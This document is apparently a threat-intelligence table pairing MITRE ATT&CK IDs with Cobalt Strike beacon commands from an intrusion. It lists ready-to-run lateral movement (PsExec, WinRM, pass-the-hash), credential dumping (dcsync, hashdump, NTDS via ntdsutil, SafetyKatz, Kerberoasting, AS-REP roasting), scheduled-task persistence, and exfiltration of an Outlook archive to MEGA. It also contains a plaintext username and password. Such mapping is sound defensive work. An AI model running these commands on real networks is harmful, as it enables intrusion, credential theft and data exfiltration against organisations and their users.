TTP ID	COBALT STRIKE BEACON LOG
T1047	shell wmic /node:<redacted> /user:<redacted> /password:<redacted> OS GET Name
T1087	shell net use \\<redacted>\C$\
T1218.011	shell rundll32 C:\Windows\temp\vmware-temp\AgentNT.dll entryPoint
T1053.005	shell schtasks /create /ru <redacted> /tn ManagementAgentNTT /tr "rundll32 C:\Windows\temp\vmware-temp\AgentNT.dll entryPoint" /sc ONCE /sd 10/04/2021 /ST 01:00 /f
T1569.002 + T1484	shell PsExec \\10.0.20.222 -d -s -h gpupdate /force -accepteula -y -u <redacted> -p <redacted>
T1087.001	shell net localgroup Administrators
T1087.002	shell adfind.exe -b dc=c360,dc=local -f "(objectcategory=person)" > C:\Windows\temp\Eula_c360.txt
T1134	make_token lrhc.local\nmsapps dragon374
T1021.002	jump psexec 170.7.5.10 smb
T1550.002	pth .\Administrator <redacted>
T1003.006	dcsync <redacted>
T1567.002	shell MEGAclient.exe put -q --ignore-quota-warn "C:\Users\Djarden\Documents\Outlook Files\ol.7z"
T1003	execute-assembly /home/user/Desktop/cobalt/Signature_Tools/exec-ass/SafetyKatz.exe
T1003.001	logonpasswords
T1555.003	execute-assembly /home/user/Desktop/cobalt/Signature_Tools/exec-ass/SharpWeb.exe all
T1059.001	powershell-import /home/trash/tools/Invoke-Kerberoast.ps1
T1055 + T1558 + T1059.001	psinject 10292 x64 Invoke-Kerberoast -OutputFormat HashCat | fl
T1021.006	jump winrm 192.168.254.110 https
T1003.002	hashdump
T1003.003	run ntdsutil "ac in ntds" "ifm" "cr fu c:\windows\temp\abcd" q q
T1558.003	execute-assembly /home/user/Desktop/cobalt/Tools/Ghostpack-CompiledBinaries-master/Rubeus.exe kerberoast /ldapfilter:'admincount=1' /format:hashcat /outfile:C:\Users\<redacted>\EULA_ha.txt
T1552.006	execute-assembly /home/omar/Desktop/Fast-Guide/Net-GPPPassword.exe
T1558.004	execute-assembly /home/user/Desktop/cobalt/Signature_Tools/exec-ass/Rubeus.exe asreproast /format:hashcat /outfile:C:\ProgramData\asrephashes.txt
T1059.001	powerpick Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target 172.20.3.7 -Command "tasklist" -Attack Enumerate,Execute,Session

https://www.infinitumit.com.tr/